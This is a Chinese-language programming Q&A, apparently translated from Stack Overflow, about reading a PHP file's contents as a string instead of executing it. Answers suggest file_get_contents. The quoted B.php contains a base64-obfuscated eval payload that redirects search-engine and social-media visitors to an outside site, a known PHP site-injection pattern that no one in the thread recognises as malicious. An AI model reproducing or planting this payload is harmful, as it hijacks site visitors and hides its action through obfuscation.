-1

我想使用文件 A.php 中的 php 代码来读取另一个 php 文件 B.php 的数据。所以 B.php 中的所有 php 脚本都不会执行,它只是字符串。

不幸的是,当我在我的 A.php 中读取 B.php 中的数据时,它正在执行。

这是 A.php 中的代码:

$handle = @fopen('B.php', 'r') or print " ---> cannot read B.php!";
$filesize = @filesize('B.php');
$str = $filesize ? @fread($handle, $filesize) : null;
@fclose($handle);

if (!$str) {
    echo 'B.php is empty!';
    exit;
}
else {
    //TODO continue process
}

这是 B.php 中的代码:

<?php       eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vd3d3LnN0bHAuNHB1LmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));?>

注意:B.php 文件不能更改。我的代码在 A.php

更新:当我从 A.php 读取 B.php 中的数据时,它没有执行。但是我怎么能把数据打印出来呢?因为我使用 print it by echo $str,所以浏览器中没有显示任何内容。

4

3 回答 3

6

除非您包含该文件,否则代码不会被执行。

PS:使用file_get_contents会简单很多。

$str = file_get_contents('B.php');
于 2012-08-22T08:10:46.933 回答
0

尝试使用file_get_contents获取 Bs 内容的纯字符串

于 2012-08-22T08:11:30.243 回答
0

要将所有文件行放入数组中,请使用它。

$data = file($filename, FILE_IGNORE_NEW_LINES);
于 2012-08-22T08:23:33.990 回答